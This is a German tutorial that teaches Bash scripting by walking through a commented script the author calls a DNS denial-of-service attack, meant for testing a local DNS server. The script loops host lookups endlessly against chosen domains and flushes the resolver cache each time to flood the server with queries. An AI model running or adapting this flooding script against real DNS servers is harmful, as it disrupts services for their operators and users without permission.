Viele denken beim Begriff Linux nur an bestimmte Betriebssysteme wie Kali oder Parrot OS. Für Sie geht es bei der Verwendung von Linux nur darum anderen Administratoren Schweißperlen auf die Stirn zu treiben. So lassen sich mithilfe von Kali oder Parrot im Handumdrehen gezielte Angriffe gegen Netzwerk-Infrastrukturen fahren.
Häufig wird dabei auf fertige Skripte oder kleine Programme aus dem Lieferumfang der Pentesting-Systeme zurückgegriffen. Selbstredend ist Hacken verboten und darum soll es in diesem Beitrag auch nicht gehen. Viel mehr möchte ich dir zeigen, warum Bash-Scripting heute zum Standardreportoire eines jeden Linux-Admins gehört.
Scriddie 2.0 oder wie ein Bash-Script nutzen:
Von dem Begriff Scriptkiddie hast du bestimmt schon mal gehört. Gemeint sind damit Personen, die ohne große Kenntnisse versuchen in andere Computersysteme einzudringen oder einfach Schaden anzurichten. Es werden also irgendwelche Anleitungen befolgt und verschiedene Skripte durchprobiert in der Hoffnung, dass man Erfolg hat.
Und genau an diesem Punkt setzen wir an. Wir nutzen nicht einfach irgendein Skript und hoffen das Beste. Nein, wir schreiben uns ein eigenes Bash-Skript, mit dem wir einen lokalen DNS-Server mit Anfragen bombardieren können. Da wir hier nur von einem Rechner aus arbeiten, handelt es sich um eine Denial of Service Attacke. Und wie so ein fertiges Skript aussieht, willst du wissen?
Im Folgenden siehst du meinen Entwurf und das mit allen nur erdenklichen Kommentaren. Schließlich sollst du hier nicht einfach nur copy & paste betreiben und dich dann am Anblick des laufenden Skripts erfreuen. Ich will dir zeigen, wie Bash-Skripte grundlegend funktionieren. Und welches Thema würde sich da besser eignen als Hacken für Einsteiger?!
Damit du das Skript an deinem Linux-Rechner ausprobieren kannst, musst du zuerst eine passende Datei erstellen. Dies gelingt dir mit touch /pfad/zum/skript/name.sh Nun machst du das File noch ausführbar. Am einfachsten geht das mit chmod 770 /pfad/zum/skript/name.sh Jetzt kannst du die Datei mittels des Kommandos bash /pfad/zum/skript/name.sh jederzeit ausführen.
Doch das Wichtigste fehlt noch. Die Rede ist natürlich vom Inhalt. Öffne die Datei und kopiere den unten aufgeführten Code hinein. Schau dir aber auch mal meine Kommentare genau an, um ein grundlegendes Verständnis für Bash-Scripting zu erlangen und so in Zukunft selber Skripte schreiben zu können. Aber jetzt genug gelabert, hier ist mein Denial of Service Skript für DNS-Testzwecke.
#!/bin/bash # Shebang -> Ausführung des Skripts in der Bash-Shell
#########################################
# DNS Denial of Service von Fabian Wüst #
# Version 1.1 Debian #
# mail@fabian-wuest.de #
#########################################
# Definition der im Skript verwendeten Variablen
boese_buben=1
abfragen=0
speicherort="tmp"
zwischenspeicher="dns-zwischenspeicher.txt"
# Begrüßung des Users mittels echo, um Text auszugeben!
echo
echo "Denial of Service für interne DNS-Server-Tests"
echo
# Frage bei der eine Variable mittels read -p eingelesen wird.
read -p "Möchtest du das Skript ausführen? [J/n] " ok
echo
# Case-Bedingung, die das Skript bei der Eingabe von Nein abbricht.
case $ok in
[nN]) echo "Das Programm wurde beendet."
echo
exit 0;;
[nN][eE][iI][nN]) echo "Das Programm wurde beendet."
echo
exit 0;;
esac
# Ermittlung des aktuellen Users.
local_user=$(whoami)
# Erstellung einer Datei für die Ausgabe des Befehls host.
if [ ! -e /$speicherort/$zwischenspeicher ]
then
# Datei als Zwischenspeicher anlegen.
touch /$speicherort/$zwischenspeicher
# Eigentümer und Gruppe der Datei auf aktuellen User festlegen.
chown -R $local_user:$local_user /$speicherort/$zwischenspeicher
# Lesen und Schreiben setzen für Eigentümer und dessen Gruppe.
chmod 660 /$speicherort/$zwischenspeicher # Rechte setzen
fi
# Frage mit Einlesen der Antwort in die Variable entscheidung.
read -p "Mit vorgegebenen Domains arbeiten? [J/n] " entscheidung
echo
# If-Anweisung bzw. Bedingung für die Antwort Nein
if [ $entscheidung == N ] || [ $entscheidung == n ];
then
# Einlesen von URLS in die Variable userwebseiten
read -p "URLs mit Leerzeichen getrennt: " userwebseiten
echo
echo "Achtung: Bei Rechtschreibfehlern mit Strg + C abbrechen."
echo
sleep 10 #Skript pausiert für 10 Sekunden an dieser Stelle
# Variable userwebseiten umwandeln in ein Array
eigenewebseiten+=($userwebseiten)
# Ermitteln, wie viele Webseiten im Array gespeichert sind
anzahleigenewebseiten=$(echo ${#eigenewebseiten[*]})
# Zahl generieren zwischen 0 und maximale Anzahl an Webseiten
zahl=$(( $RANDOM%$anzahleigenewebseiten+0 ))
# Dauerschleife für die DNS-Anfragen der eigenen Domains
while [ $boese_buben -ge 0 ]
do
host ${eigenewebseiten[$zahl]} > /$speicherort/$zwischenspeicher # Ausgabe in Datei speichern mit überschreiben
cat /$speicherort/$zwischenspeicher
systemd-resolve --flush-caches
zwischenstand=$(wc -l /$speicherort/$zwischenspeicher | awk '{ print $1 }') # Zeilenanzahl ermitteln und nur Zahl ausgeben
abfragen=$(( abfragen + zwischenstand ))
echo
echo "Insgesamt wurden $abfragen Anfragen erstellt, wobei gerade $zwischenstand Neue hinzugekommen sind."
echo
zahl=$(( $RANDOM%$anzahleigenewebseiten+0 ))
done
else
# Variablendefinition
fertigewebseiten=(webseite.tld webseite2.tld webseite3.tld)
zahlfertige=$(( $RANDOM%2+0 ))
# Dauerschleife für DNS-Anfragen der Webseitenliste
while [ $boese_buben -ge 0 ]
do
host ${fertigewebseiten[$zahlfertige]} > /$speicherort/$zwischenspeicher
cat /$speicherort/$zwischenspeicher
systemd-resolve --flush-caches
zwischenstand=$(wc -l /$speicherort/$zwischenspeicher | awk '{ print $1 }')
abfragen=$(( abfragen + zwischenstand ))
echo
echo "Insgesamt wurden $abfragen Anfragen erstellt, wobei gerade $zwischenstand Neue hinzugekommen sind."
echo
zahlfertige=$(( $RANDOM%2+0 ))
done
fi